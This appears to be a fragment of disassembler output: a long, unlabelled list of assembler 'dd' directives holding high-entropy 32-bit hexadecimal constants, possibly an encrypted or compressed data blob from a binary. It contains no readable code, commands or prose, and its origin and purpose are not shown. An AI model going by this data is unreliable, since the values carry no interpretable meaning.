1B0150F6h, 7A450089h, 4ADA1C32h, 0FBED1285h dd 7727655Ch, 0C240EAE6h, 98BD9F39h, 1D0C690Eh, 0CBA7F4F1h dd 0CBBBEED5h, 0FE4C353Ch, 4F408969h, 0F65E0C82h, 92B32A73h dd 0FB76532Fh, 9802ECF7h, 7FBCDF4h, 2C3BB005h, 0C7E20958h dd 9A4B5358h, 5177060h, 75EF90AEh, 0F6B25C8Ch, 3D1E1BB2h dd 10DA1A21h, 1C455069h, 94ACCE3Dh, 470F4C3h, 0C0309032h dd 0A26C0C0Ch, 95AEA8Dh, 2B362077h, 0BF6FC8F8h, 9B67CC40h dd 80386E88h, 10E545C6h, 227A9C3Eh, 52A6BB46h, 3415EC7Dh dd 748B572Ch, 0D913ED8Dh, 5F23F4BDh, 81A57C4Eh, 0C785AF01h dd 0B8788838h, 0DAEC1D6Bh, 58880AFCh, 0EF989F2Fh, 930F21E3h dd 0E0E0C77Fh, 0AD6F9A43h, 0AFE2593Dh, 8FE20F4Ah, 0D2F009DDh dd 2A827ED1h, 0CE619CBDh, 0B0DF5A67h, 0E78F55ABh, 0BC9FC519h dd 0F270DAA6h, 47E24BB5h, 589D0B2Dh, 0DD08EA09h, 0B039554Dh dd 557FCCF1h, 26E50091h, 2630A22h, 0D80746D7h, 0FE1B0755h dd 0C536AACEh, 341A90F4h, 0A770E22Bh, 0CDCC8BF6h, 5DB27AFh dd 0EF2DE832h, 2754EFDDh, 95374819h, 413FEC9Eh, 881DAF98h dd 0F70287B8h, 15ACB286h, 74D451BFh, 6535D46Ah, 8104FFD6h dd 7313D303h, 7F3C0E23h, 29953ADCh, 8F0339FCh, 4FF90348h dd 0ED1F3C84h, 0A2AEE1CCh, 358925E3h, 3691ABC2h, 66F3C9E0h dd 69B329C4h, 634CA6DCh, 299CAD41h, 0DD253106h, 239DBD45h dd 91262D12h, 739DD765h, 0C1BC5420h, 0FD3AD17Fh, 9994B987h dd 8FFDA3A7h, 0A5A9BF1Ah, 0EFA9338h, 67547859h, 0A7433666h dd 7F00341Bh, 7AE60426h, 62A2216Bh, 694231DBh, 20CFE813h dd 634E1CCCh, 0C0A8F27Ah, 3DC1FA68h, 1F22BCE6h, 0DE341E17h dd 76058376h, 0C4D0CD3Bh, 451013D7h, 0AE423FAh, 0E35AC4FEh dd 74E03E78h, 90F72254h, 0F68E6396h, 82F99046h, 16582F65h dd 0A7EB048Eh, 157B9F6h, 0AFB97B96h, 7E7347A5h, 8565E5FEh dd 0B3F440A4h, 4FC0AFCDh, 0C4F32DB3h, 5E2E117Dh, 0CCD205D0h dd 87EB6C7h, 0F8493F1h, 715D2E03h, 2439E9Fh, 0ED72C2E1h dd 0DA8CF042h, 5C398FF9h, 7AFBBE34h, 20621056h, 710C21ABh dd 262E0D72h, 7C63175Fh, 0C1D8CB77h, 34412D44h, 8554E09Ah dd 820B713Fh, 0D3A5FA4Ah, 0DB1FC3D6h, 2B4AB454h, 0BC7695D3h dd 2E732BBDh, 0E8D86252h, 0A54AA3BEh, 0D66A282Bh, 68863238h dd 0C3D6356Eh, 0B91A683Eh, 657CB7F2h, 682E555Ah, 0F3AA374Ch dd 0F5D4EB6Dh, 4935E993h, 284E554Fh, 64063596h, 0B3257769h dd 2586BC70h, 0F192A5AAh, 917CD9E5h, 59876AF8h, 3A879067h dd 7843D1CFh, 0EB7BE39Dh, 0C49AA5C1h, 0DF1D84E8h, 0F07F7BB1h dd 94942172h, 0C3589E98h, 0E70A7999h, 9D9980h, 0DC31FBCh dd 9DFABBBDh, 8823182Ch, 7ECF7A32h, 11C965D4h, 1184EA8Ch dd 0A68DC0C0h, 9464BFD9h, 207E026h, 16CD924Ch, 0F09BA914h dd 0FD0436F7h, 3E84B35Dh, 0BF197FFEh, 0E5F8BA65h, 276ABC76h dd 0BF86DB0Bh, 54330812h, 0BBFD386Eh, 9C58D793h, 0CE6BB1F4h dd 4FF8EDEDh, 0B2968DD3h, 0EDC91C08h, 3B4AEB4Dh, 0D2B2EEF1h dd 2922E036h, 0BEFD1B1Dh, 983C8B2Ah, 0A2B702B0h, 0FC1AA60Fh dd 3EE1CA63h, 1B6703D8h, 0B5827251h, 0A114E0CCh, 0AEEEB1B5h dd 0A28FF0B5h, 0C0CE81FBh, 0ADA0E6AFh, 0C06BA769h, 0ADAEB206h dd 0F99EA99Eh, 175C722Dh, 4F7519FDh, 0B63D14AFh, 39342182h dd 715923BCh, 20249A94h, 0EAEFF5C4h, 0F0605DD5h, 30E24B92h dd 83E6A138h, 2F80E68Ah, 338991EFh, 5EF8089h, 611AED13h dd 653FD8D4h, 1DFF192h, 0E3BA8040h, 716478DEh, 34FED720h dd 0C5D1E1B5h, 47247F64h, 93C99E69h, 5A557C8Eh, 0BACEF791h dd 511381ABh, 4D12ABE2h, 0CC700C91h, 45E34665h, 946F5555h dd 0CD34365Ch, 0A685F52Eh, 14483694h, 1BA175EBh, 0B6A888FDh dd 6B1F99DCh, 0F363A5F5h, 42865A1Dh, 66EB1F13h, 0CBA6AF82h dd 0C53E5A2Ch, 0DB68B2EBh, 9E2F21F5h, 0FA52B5FAh, 4B4A9FEh dd 0AB394CD8h, 200712D3h, 19E4420Eh, 8BB174D0h, 156767Eh dd 5088255Eh, 47FDDE04h, 0C001C449h, 0B08ACADCh, 71A49787h dd 5943B601h, 0C718125Ch, 1EC40B68h, 69BEEF29h, 627B3280h dd 0D3C896DAh, 648523DDh, 425D7B5Ah, 0DB184B83h, 6AFB6FCFh dd 0D720094Ah, 9E0935C8h, 0A66A2508h, 0AF75D4Ch, 0FD8CDEA3h dd 619E7BACh, 3E49AB8Fh, 976E972Bh, 49A7E2CDh, 0A3B1902h dd 0DEDB56D8h, 0CBEA9352h, 714C7BB0h, 14E2833h, 93098BEFh dd 994B39F2h, 446E9294h dd 9431DD1Bh, 0BABF91FBh, 0B0DF275Ah, 5B0CED6Bh, 0AE3AC0Ah dd 0B104AC7Ch, 0BAB9B14Ch, 546C35CDh, 0D970725Fh, 7BA75FCAh dd 0F558AE9h, 0AEB90DD1h, 68C5F782h, 6A15BF40h, 0E93111BAh dd 5BFFF424h, 4842395Dh, 5EF9BDC2h, 8B5DF243h, 5252DB09h dd 0EF599267h, 78949D8h, 0B540B42Eh, 17A80C47h, 97F2D515h dd 2AAAC40Dh, 5435ED7Eh, 95696B39h, 0BDAE4200h, 157ECD2Eh dd 421317C6h, 6C2EEA54h, 2561F03Ah, 3852597Dh, 56574A45h dd 0C435CB93h, 7DD6776Bh, 30F41E30h, 0C054AE45h, 71D86D27h dd 66DAD110h, 73C5126Ah, 1989F4A5h, 1BF8A693h, 2FBF6CDBh dd 0A4FBC128h, 4BBFF5C4h, 0BE9EF11Fh, 6EA7EBEEh, 0C28E437Dh dd 79004315h, 0F9416E3Bh, 107527B9h, 0F474D98Eh, 597D885Ch dd 0EB984570h, 0E233FA2Bh, 0C211BC4Eh, 0AFE13ED3h, 857E95C5h dd 8E069F71h, 1085BADCh, 636249CBh, 49F778Ah, 0C378FEF6h dd 0BA16F936h, 99F88829h, 0B4EBA4EAh, 0B2F77835h, 0FAF2DFCEh dd 0C818D2DCh, 2B44135Ah, 0BCCB2315h, 7EF95828h, 834DC1ACh dd 0B3303EABh, 0F44E7505h, 0C744A934h, 401CD46h, 55A7A3F6h dd 0A4BE3A5Ch, 2D2BEE75h, 22F4CB24h, 3E0D12DBh, 28BE76FDh dd 7D7121A4h, 0AD994960h, 0FE7E6A17h, 3CD398A4h, 0C6CF4607h dd 81F9E8E9h, 97132996h, 0D99DDABAh, 3C0AF216h, 63C115BEh dd 0FC73EF53h, 0C6E772FBh, 68016826h, 6A19EE71h, 0D456F94Fh dd 0E3F7DA2h, 0F7482844h, 35F2208Fh, 0B70E0354h, 9B475155h dd 4F72DBC4h, 258BF05Dh, 97ECCEC8h, 297BDD99h, 8EBDC2F9h dd 52B31298h, 7C29D8CCh, 0FC2D1BB2h, 76A4C9DFh, 11ABD12Eh dd 2B196EBEh, 0D1623A48h, 0A912A5BCh, 57C5EF33h, 0D1665B43h dd 7B03C3AEh, 4A9B12FBh, 7B851DF1h, 2589BBA1h, 689D865Fh dd 0BB623F34h, 0EE2B5657h, 0D35CEEAh, 0D08E91EDh, 642984C9h dd 54EFC4DFh, 0A8B798FEh, 0BFBC04F2h, 75BBB01Bh, 0AA2A36FFh dd 855A64B4h, 0ED16144Ah, 0FAD1612h, 71D6940h, 92F5221Bh dd 69CDEFB8h, 42B29001h, 6724EF43h, 948D2E92h, 3B2BAE7Bh dd 0EFB0D6E4h, 41430507h, 8961FB2h, 37124FAAh, 662A979Eh dd 8857F837h, 9CBF2BF0h, 3C723A08h, 0E928AC1Dh, 0EA01FB50h dd 72163191h, 74379572h, 0E68272Ah, 0C93BB8EEh, 536443D3h dd 0B03B125Ah, 0B07C1EC0h, 526F1609h, 7F282189h, 704BBC67h dd 26ABDECDh, 0C7689B2h, 0A1105F97h, 0A1C77407h, 0FE56031Bh dd 0A9B8712Fh, 40C56A75h, 0B632665Ch, 38B21B56h, 0EA4F1E2Bh dd 3825A49h, 16CBDF4Ah, 20D31535h, 0EEAE37CEh, 1B686255h dd 0A694F612h, 0F3D559FAh, 34FCE48Fh, 0FD8105B3h, 24F937FCh dd 0AC43701Ah, 0BC970975h, 0F0DFF0CFh, 0F9CFDB7Bh, 9532921Fh dd 0D7951F6Ah, 0F4CED13Fh, 0E399F924h, 3342DFF6h, 13EA1EDCh dd 74B14F1Dh, 496700CFh, 0BA6427C3h, 0F1675F79h, 0D7408F8Ah dd 1D7B0C5Eh, 844D8E4Dh, 0F451A337h, 0F0A8E08Fh, 1A517CA7h dd 0A93799ECh, 9F14C1F9h, 85D6CE08h, 0F2E6D88Fh, 0B6A15EA2h dd 8BD849ABh, 0BB4F1085h, 0A85B3480h, 59D6D79Ah, 59BDA588h dd 3B79379Bh, 4A71EC41h, 22B5D8CCh, 0DACB5DE4h, 2101776h dd 0AEA1173Dh, 6CB4EE75h, 6D462BD2h, 934A6233h, 6725475Dh dd 3C270A68h, 6056E3F2h, 32454924h, 6EC6CA95h, 0FED0447Eh dd 0D34D8DD1h, 69E1367Dh, 0AB6AEA6Eh, 0DDC8F0DDh, 3EB50F51h dd 0ABC93437h, 0E9A60961h, 856F954Fh, 0FFB7FDD9h, 0DE5C8C58h dd 301977A0h, 9FE814A9h, 3A1BDF9Eh, 0D7F3044Fh, 0A46728EFh dd 0FEC9A0FBh, 0DF7924Fh, 0D8808F82h, 0BF353FB4h, 8233F0B9h dd 0C73C21A7h, 5A5E1E36h, 8BBB835Bh, 0D91BDB71h, 793C9E13h dd 0A124AEA9h, 0DE889621h, 58419CEBh, 54FE9800h, 4922D769h dd 24BE413Eh, 6DED95E4h, 7C6F769Fh, 0A149116Bh, 1B247A57h dd 389BDD04h, 6B74DC06h, 43E5A4C5h, 0AAAFC892h, 4C69F1F0h dd 45CDAB87h, 0BAAC5CA6h, 0A24F0E43h, 1079A4C2h, 8A892AA8h dd 748A63D4h, 7D8B57C9h, 0AC198981h, 0E29ECCF2h, 7AE3AC7Bh dd 67BE4B46h, 0F4972576h, 7908DD52h, 0DEF783BDh, 14CC5D98h dd 0EB34E272h, 0E4BBCDCCh, 82A1832h, 0A7A31700h, 997E167h dd 0A12ACD9h, 0F111A247h, 99086B8Ch, 4A5DFBF4h, 0A2746CCDh dd 36EB02A4h, 59FD641Ch, 90CAFBFDh, 0F140F913h, 2BEA68F9h dd 638F3125h, 3A4009Ch, 63F8F0D3h, 0F8B70422h, 72FCD139h dd 0FC9590D1h, 2BC129ADh, 0DC25EA5Ch, 51052C65h, 306E50F9h dd 0DAEAFF18h, 1225AD60h, 0CFFE68C0h, 6EC1592Bh, 1B664E6Bh dd 0D1F39E0Bh, 178A1FCCh, 8AE6F131h, 69F54F5Eh, 80D33240h dd 0A057483Ah, 23F8043Ah, 35ED158Fh, 728CFB6Dh, 0AE971CD4h dd 0C0F4D340h, 0A6CA5BF0h, 0D51F7D45h, 8BB65179h, 0E5057C36h dd 9E728CB8h, 5ED7A097h, 8DC5A93h, 0EEE902D8h, 29C618BEh dd 11EB4E2Dh, 9C9526D1h, 36D4256Fh, 2DCCE20Fh, 70290E43h dd 87650E2Bh, 9B5C99FAh, 84AD997Ch, 94FFD8EAh, 6C5ADC59h dd 0BB9FCB26h, 1BCC6BAEh, 8DC2B4B7h, 551F7CAFh, 141EBD23h dd 5E3C5849h, 0BC38BC36h, 6B9D14A9h, 32162738h, 16FCA48Ah dd 0F4445ABDh, 3BD5CCC2h, 0BAD15Fh, 0BC433DEAh, 28A02A85h dd 0FB72D418h, 24C655AAh, 1ED7BBFAh, 2D987E50h, 29C82F92h dd 141B2BF4h, 81A7B9B3h, 69FEFCB6h, 56C168D4h, 6AE925E5h dd 9707D2Ah, 0A9741BB6h, 0B3905696h, 8412DD1Dh, 0A4BD91FBh dd 0B420F654h, 0CDFF2756h, 77A92719h, 460461E6h, 424AA2E7h dd 64962A85h, 941CCCEDh, 0D0F22022h, 0AED9EC14h, 88B579C2h dd 761C3699h, 3BD41A6Bh, 0FF99AE18h, 6E2C8AEEh, 0C34E236Dh dd 3788999Eh, 534F8C6Dh, 652B9568h, 0D759FB18h, 6EB29B56h dd 58FC7DD3h, 88C6DA30h, 9541A915h, 9E18D8E3h, 8D13096Ah dd 401BEED1h, 0F6FA2E8Fh, 0B9B6582Eh, 9403D5FAh, 0EE8346BFh dd 42A51806h, 0F037FE11h, 0ED3A4C1Bh, 0BB774046h, 0B13F1E58h dd 0AAF5F511h, 7304888Fh, 8AD21BFDh, 95E8DE73h, 4A90930h dd 84209E66h, 8F5763CFh, 0A25DDB4Ah, 3C66964Ah, 994C946Dh dd 513D6073h, 0F11CBC1Dh, 0C4E39DD8h, 3870A635h, 0E642B3DCh dd 43D37079h, 0E657F5Ah, 0A392CB5Fh, 132F7E1Ah, 0BC5D2CA4h dd 876BDE4h, 8AA570AAh, 0C474E2E2h, 1F42C264h, 1137EF1Dh dd 0A8E4659h, 996F14A9h, 2A9AC994h, 3507F231h, 2568BEBDh dd 93D218D8h, 0DC5896DBh, 333EC388h, 1B1D8B4Dh, 0A67BE69Bh dd 5F53ED23h, 59DD9886h, 5C824CC6h, 9DA4655h, 6E614572h dd 0EA2A56B0h, 96C82657h, 7BE4A2B7h, 6AE5A695h, 0E921777Ch dd 0F01F5D0h, 0B0C23950h, 6338AE11h, 0D2C15FB3h, 0D633BBB3h dd 0A99DD68Ah, 16F7B63Eh, 1A451773h, 0FB0F333h, 27E7DF3Ah dd 27C1FBE7h, 84C9196Ah, 0C91D6963h, 36EE6B9Eh, 1D877D1Ah dd 55C24E09h, 0B317B167h, 70BFCD3Ah, 50305AB5h, 0BAE5C7B8h dd 0C3B2A210h, 0C1C54009h, 72EA96B2h, 1C707352h, 0F807B0F5h dd 85DFE69h, 48C4D088h, 77E2645Bh, 24A6D6E6h, 38B82CB9h dd 0CE9376h, 8382D1D2h, 0AAF9A822h, 0F23EEC3h, 3B74B73Dh dd 0CFEC5F13h, 645A448Ch, 1C75ECCCh, 0A2FD3E4Ah, 0B943903Dh dd 58557C86h, 591F6744h, 0B39D5D83h, 92D357E8h, 0FCA34F04h dd 17EDC0AFh, 20FF18ABh, 0F024F63Fh, 0BF1DC194h, 485415DDh dd 2F278784h, 51AC5489h, 0E1419ED2h, 0AF59347Bh, 0A6BAF1B1h dd 443D28B7h, 85EF682Ch dd 8EC2F693h, 0D66C2429h, 35880592h, 4BCD32AAh, 82339795h dd 4A925BB2h, 0FF297806h, 0AEC4E6Eh, 814E8B0Bh, 0EB1F6302h dd 0D5CCAA03h, 0AD417FF6h, 0DD197A30h, 12BED69Fh, 44E1BC6h dd 4E73248Fh, 285E0D66h, 489C43FCh, 76E717FDh, 868E7CB6h dd 0BA108146h, 0B05B6A8h, 0C426FFA1h, 0BAD9B0B1h, 60E771h dd 0D05A92E8h, 0D0A6368h, 54CCE11h, 84D35DF4h, 9C0366D0h dd 21421DBAh, 0F0D12DA1h, 641CCBCBh, 72371A16h, 913423BAh dd 331EBE4Eh, 15FE9CEBh, 4D3AFF6Ah, 46108524h, 30300CEh dd 8136596Fh, 26062B7Ch, 6C4C2CF1h, 2BACA0C1h, 0CE8F81Bh dd 69001A4Eh, 1AD3A9D0h, 4D420CDCh, 0EAB06D42h, 7364AD39h dd 367C7416h, 8A0E6E8Fh, 0D1FA1F9h, 90EF1823h, 0BF7D670Fh dd 0ED418642h, 0BA7194DCh, 0FD7E1B36h, 51F2D251h, 0B3405CFEh dd 0EBE81EE3h, 0BE7817B4h, 90F53478h, 2F1440Ah, 38FBEDA0h dd 0C0C08388h, 0E5538031h, 4446F177h, 3B7577D4h, 0C0398515h dd 996270ACh, 360E0C7h, 6281989Dh, 8D448E04h, 0DF5D478Eh dd 2E4110A4h, 0D26B15C8h, 0DB8DF279h, 0E592D9AFh, 15A94238h dd 999DC098h, 7E50F2F7h, 0D94D97E4h, 0E02DFE70h, 2F4B0DCCh dd 6ECD742Fh, 5DFA06B7h, 3B84C369h, 0D463D1CFh, 82D15FC0h dd 7D9157DAh, 0F4756A21h, 3CF6BCB8h, 0A6D3891Bh, 53892D49h dd 513ABD04h, 5605B8AEh, 2EE68291h, 9C99D397h, 30EEB5FAh dd 0FEDA628Ah, 8A81A4D4h, 4FCDB046h, 23386B4Ah, 25A6034Dh dd 442337BCh, 13C61A4Bh, 842F4B69h, 796A7313h, 3FA30D80h dd 9B6EAA44h, 9CC524D4h, 0ACFD4B17h, 0B0984241h, 6ECAA8F0h dd 0A07A7F6Ch, 45AB7CD4h, 0B7559FF4h, 399EE1AEh, 560F990Fh dd 868F2B53h, 4C6A9BCDh, 0B8D9F252h, 16B9EF3h, 50A589ECh dd 0CBF8E518h, 4634E682h, 77F5432h, 0B7BEEF6Dh, 6FBB72A7h dd 0CF7A7829h, 17F4961Ah, 4DFB0E2Ch, 0DE974401h, 13E948DAh dd 737B822Fh, 496DF625h, 0F55CD1DEh, 9338C976h, 46A4B6Dh dd 0E84D3A81h, 0D3397685h, 8CFC6EE9h, 0B0F04FECh, 4F7B2AB0h dd 1134B94Ch, 77ACEB2h, 3E0E9853h, 0BFA55DC2h, 1E7FC99Fh dd 57A2EC9h, 76DD4953h, 0C52215F5h, 0D0CF4563h, 5C7E474Eh dd 0F74CCCC8h, 0C1D16CD0h, 69444E1Bh, 7904DCD6h, 89C39D5Dh dd 2C9111C1h, 0DB3C0F53h, 0B0A8D0Ah, 0E3B6BEC9h, 6752D8FFh dd 0D03B997Bh, 85C36CECh, 0DCBD9704h, 5DC0A789h, 0CBC55764h dd 41CD19A2h, 1DD06FE9h, 4B21875Fh, 942DDDA1h, 8DE040A4h dd 8E689585h, 0FCEEBB13h, 9C404C4Bh, 0B30BB4E5h, 49E1D227h dd 8D104E0h, 0A602380Eh, 828A6F09h, 120BCAB9h, 58DA63FEh dd 0CBFDFE20h, 7058B162h, 1148677Ch, 0FB3F1369h, 0D9A6028Fh dd 0F194A5CFh, 0BBF1CAC0h, 0DD10E558h, 368F42E7h, 4A142112h dd 0B69A45F5h, 2E022090h, 47B79CA9h, 0D62C4BA6h, 0FC041AF3h dd 529FD632h, 8C2A9BC1h, 0B69E1BDh, 0AA5DD68Ah, 0BC12BC7Fh dd 73C892CDh, 8A373h, 0B71533A0h, 6A5FAADh, 93D0CD08h dd 0E617F9EAh, 0BAD3A082h, 0A9E82414h, 0B6B038A7h, 0CD6BC061h dd 0E6CF7A36h, 36F61239h, 0D285CC44h, 0C923C3B5h, 6F1505EAh dd 87D40E0Eh, 42A01652h, 0BDE8A2E9h, 6F7F8552h, 0CFAAAAE0h dd 1DC5C2A7h, 981CBD73h, 677293D7h, 0F54E77B7h, 0B1D4AD8Ah dd 56F036AEh, 3D3C0C6Eh, 0D888CC21h, 0B431FC1Fh, 0B08AD44Eh dd 3534BF3Bh, 4E41FCDEh, 0ED10677Bh, 5B6F2B12h, 4B15035Ch dd 351D9060h, 0FA594710h, 95C252CAh, 0FDCC57F5h, 80EBDDDCh dd 9300BAD0h, 0F37AD636h, 898BD444h, 0D905EC2Ch, 221239C1h dd 1B26F935h, 0A8542EFDh, 0F8025409h, 0C2AD8F5Bh, 5359290h dd 16A90EF6h, 0C1EDE5EFh, 25722400h, 9418BE76h, 0C39B2E12h dd 9C38AC21h, 6C94FE65h, 0BE0562E4h, 220C3026h, 4BB517DCh dd 7E8DF5F4h, 0C8BF5CCAh, 0AEFDBB77h, 0C400A8C0h, 66152378h dd 98582FA9h, 0AF396D9h, 1AB29DD4h, 1BDDFF1Ah, 0A09AA819h dd 3E1A91A3h, 0D79E5F17h, 0D582B914h, 0D1DF135Dh, 16D5603Fh dd 8A2AD430h, 36D7F192h, 2BC63976h, 0BC8DD3D5h, 0ADBDC16Fh dd 7CADB933h, 5961320Ah, 34D6E8B8h, 5A52C8F1h, 0C03918E7h dd 0AD841BE9h, 7FD7160h, 3F107341h, 39122837h, 0F55FFAE0h dd 60E7162Bh, 0A04D19B7h, 0E34972A0h, 8C79FDAFh, 906D535Dh dd 78FF871h, 0D9675F19h, 0E9EAE824h, 0B1ACEE8h, 612CAA40h dd 0D01989A0h, 0B3B868F1h, 173FF23Ah, 0EA37DE2Bh, 0D872E5D2h dd 1D129DBFh, 697553F9h, 23C0109Fh, 47C81EB8h, 3B537615h dd 0C7A4FD3Fh, 11E74449h, 4270929Eh, 48E5A682h, 0D9416A91h dd 1EAB4589h, 854ED2ABh, 0A6D73292h, 328DB526h, 5DA59EB2h dd 889D22E6h, 4FCD3CD7h, 0E5C7359Eh, 49D4CCA3h, 916F3603h dd 0F6912658h, 34FBD9C4h, 0B310AC8Bh, 97BAF715h, 0A4EF5896h dd 5294C8EFh, 9BE12ED4h, 87B687A2h, 0E3D9FA9Ch, 0C171A1B7h dd 0BC507298h, 2A41C6D0h, 6BDBDC7h, 0AC426168h, 0D6DECE0Ch dd 12DEFCEDh, 4C4D7844h, 0E5E1B8EBh, 0B0EEFC5h, 47DB73C6h dd 12E6F700h, 0DA13426Ch, 0B934EB42h, 3A26CC94h, 0FA0BD28Eh dd 0A48F8178h, 47B09849h, 35043F8Ah, 0FD22ADA9h, 39842869h dd 0AD706971h, 0C3C88481h, 48CF1AFh, 728E4E63h, 601A1CDEh dd 532065DDh, 3CA111C6h, 0EB50472Bh, 0F39B4269h, 7CC974E6h dd 6566E9CDh, 7B1F486Fh, 0AB4ADF72h, 8897011h, 8C487D15h dd 0BC3CD52h, 80667A19h, 4223E461h, 985AB2B7h, 0A5B8B38Fh dd 0FC6A50E0h, 92BFFF73h, 91DEEDB5h, 0A71F9FB8h, 3AC7BD15h dd 0B61232C3h, 38DB462Ch, 2566A78Dh, 7BDB585Fh, 84118795h dd 820F9402h, 0A8794AE8h, 0F6469EC1h, 4FF65C07h, 9A943BE7h dd 5091B65Bh, 5E35010Dh, 9E27415Dh, 7FE9408Ah, 217A8DC0h dd 0B59DDC4Dh, 7AB03AFEh, 0FC702241h, 664B91CEh, 30C9A31h dd 93031AEAh, 0BFF5B9FDh, 8DA82074h, 0DB88DF6Eh, 0E46DE254h dd 65C4B4Fh, 9B628B18h, 280EB5E8h, 6A8CD18Bh, 4BEEC81Ah dd 0A5D717FCh, 1B64C899h, 3D88569Dh, 0C3AC4185h, 0ADAD23D6h dd 0E6922F04h, 8CF1583Ah, 5C112040h, 106E7F48h, 7B7D164Bh dd 0EEE3D76Ch, 515383CCh, 1537148Ah, 1043C97Fh, 3E796B77h dd 5D81E590h, 16B76A73h, 0D0723C37h, 3526F428h, 0FBC78CB2h dd 6ED373CDh, 9D025980h, 0DD15E6F1h, 3644F1DDh, 0A8857740h dd 2615F0CDh, 0B4DDD487h, 0E476296Dh, 30D259DCh, 7098069Eh dd 4FC71659h, 9728D6F3h, 1805B654h, 3F989656h, 3C9663EDh dd 8C618A89h, 0FA116970h, 119A22F0h, 1D412F5Ch, 0D0C3F8E7h dd 37DCEE2Fh, 0C7A9FEA7h, 0C4F9BFD9h, 0CBB27AC5h, 36FCE720h dd 79D46242h, 50A9E83Ah, 0DE4CAB0Eh, 78585231h, 0F548FA1Bh dd 0A8FBA7D4h, 0B092E567h, 0AD2BA2B1h, 0F6601AB2h, 40EDABE7h dd 232C5BB0h, 42621C82h, 352B5A71h, 8EA205FFh, 0DE680428h dd 0C884B03Ah, 0FF932B1Eh, 29E0D8A1h, 0A657977Dh, 0A96C5341h dd 0CF984695h, 5E21094Ah, 24FB864Ah, 2F22B863h, 958FC5D8h dd 14AD7D4h, 14CE2F79h, 65009FAFh, 0EFB96699h, 0CA35E099h dd 0F319FA11h, 21D27C95h, 0F655D02Eh, 0FD30DD5Fh, 87562CBDh dd 70DAC3B9h, 2905A023h, 5D50AA7Dh, 0FBFF331Eh, 0D30F89AFh dd 7D0B7B64h, 0DC3D7739h, 60F26E94h, 0A439F399h, 0C9935D5h dd 9E8B9D98h, 1DD60369h, 2FCCDF1Fh, 8DF046F2h, 0B982EBCFh dd 0B052FB57h, 6AA67C6Bh dd 6194288Eh, 9DA21A7Ch, 2AD0EFBEh, 39383754h, 7DCB7E20h dd 39F49C9Eh, 9636C1BFh, 0D980B65Bh, 2FF91CC4h, 0B267ADF1h dd 3768DC33h, 175EC49Fh, 4A462356h, 0E5B6C783h, 6F869E8Ch dd 2EE0F8E9h, 0C396FD2Eh, 26E1F733h, 0C2DBC675h, 0F7B0AAA8h dd 0F1879A36h, 856C0B79h, 0F2434D3Eh, 0EED7AB53h, 4C6119B5h dd 0F6B3CFA5h, 0BA6E4D58h, 3DD263DEh, 37192A46h, 74610FE9h dd 0E7630B66h, 187785E7h, 0A732DBE4h, 657B8D34h, 0E15776Dh dd 955C72EBh, 0FA0D36Dh, 0F42C06C0h, 3B0AA9C4h, 24A271EAh dd 6AD7BA32h, 0A9905F2Bh, 6FE79EEFh, 0B8ECF79Ch, 3A9A61A9h dd 60AF0279h, 8EED831Dh, 74FE9903h, 0A7A16140h, 8A934710h dd 0B2BCEBF3h, 0F5CD8764h, 0B34E9C3Eh, 0EB7E2913h, 230F7077h dd 40E313B7h, 24D66AD9h, 934F8C56h, 0D82FB4B9h, 0BA2BD6Dh dd 682D32A2h, 4CECC3CDh, 0E000BED3h, 984D7FDDh, 0EEF5FE5Fh dd 49CB3C06h, 0EFBB8DEh, 39467C19h, 0A1609DB3h, 0CA69725Fh dd 13364AA8h, 0FA06363Fh, 0A51702Dh, 0EBC17CBh, 353AC616h dd 5BD96AA4h, 357673ECh, 0ABA54769h, 8E21B3E7h, 14FFFB27h dd 0F17A70D1h, 8A408BF4h, 3CF7A825h, 9511F8A0h, 7AAFDBDCh dd 0ECB45E9h, 1DC825CBh, 5336C7C1h, 141FC21h, 9FB94646h dd 0DE09C825h, 88A9124Dh, 3FB0F074h, 22351334h, 1FBA04C5h dd 0E88F15CCh, 12523D04h, 0EE3FDB90h, 571F91F8h, 0DA8BE7BDh dd 84AEA3EDh, 0C2344EF8h, 7CA8CA78h, 0A15D457Bh, 837E3DB0h dd 0EBCBD604h, 0E17A6AE0h, 0CD1E0305h, 876D893Ah, 0C545E5Fh dd 842E60BCh, 3A3F991Dh, 0BFE27950h, 417F3C9Ch, 638CBE5Ah dd 8F87D377h, 4BD19A5Ch, 22D98A10h, 217F1A47h, 4E833618h dd 155B2155h, 0F04A4CF0h, 90716B54h, 23EDB487h, 0D7F86002h dd 319733E3h, 0D2E05681h, 0DF1730AAh, 24CA8DDBh, 0FA5AED5Ah dd 0D4EFB12Eh, 0A91A0E71h, 684D045Eh, 4B98B20Fh, 3C652798h dd 0D927FF20h, 2B035574h, 0E511DB1Eh, 95545A45h, 96294BC4h dd 0B64FD61Ah, 0F913951h, 4AD4F244h, 94FCB040h, 41C1731Dh dd 665F7D86h, 2385C10Bh, 0C085C701h, 79830FFFh, 0E55FD28Fh dd 0BA46F7C5h, 0EE5065B3h, 45997D91h, 0A0E5F23Dh, 9CD1CB54h dd 9E2C36Ch, 41E2F08Ch, 3EE643A4h, 0D0B7EB8Eh, 0B90E3015h dd 1BAD0D9Fh, 6483D009h, 0B7AE02BFh, 0FC94179Bh, 0C068AE9Ah dd 95C69482h, 0D46CF6A2h, 0DEFA0877h, 0CD235B65h, 0CEEA5466h dd 79C36CA2h, 3A1DA2ACh, 0BDAE459Fh, 7FA61894h, 0CCBD4226h dd 6A0A8F72h, 0BC8D7B2h, 0B9CE05C7h, 1885B226h, 0E1808914h dd 52A7512Fh, 6AEF8734h, 8E460359h, 8253F673h, 0D4804984h dd 64F20F2Ah, 0BFFDD68Bh, 0F1ED5F16h, 0C6AF9148h, 0FA5B52Ch dd 32CCD83Eh, 0C79E3EF9h, 0E37E17Eh, 0F984D0D3h, 8BFCC4A3h dd 2466CD7Fh, 1E85E45Ch, 0A347073Fh, 0D675884Ah, 82481261h dd 7EA89F4h, 96A16E53h, 0BBE0145Ah, 0A9EAA6DCh, 98725491h dd 0D69A668Ch, 0B99880ABh, 0B31599Fh, 0A8514F2Ch, 0D2AF63Ch dd 167D475Dh, 37D14608h, 0BF5686FEh, 0FCE24F4Bh, 6040FC19h dd 4412467Bh, 0D22775DBh, 2503E546h, 0B77D5E17h, 0F7CB4477h dd 5A27F75Bh, 0C631A704h, 0F005A42Eh, 0B1F627F5h, 0BAD9A908h dd 0B67B561Ah, 50C04975h, 0C67861C0h, 80D2C666h, 436A6E41h dd 6EAC2D77h, 31D5D140h, 136E70D0h, 0AAD45F42h, 518689DBh dd 0A6628F80h, 7C784DB4h, 633D93E4h, 0E0FA482Fh, 0F7EBFD97h dd 61612D37h, 76EA09BFh, 980326BEh, 0F3F57296h, 0DF1D99D1h dd 0BC0C7E79h, 4570D3F9h, 0A381A41Ch, 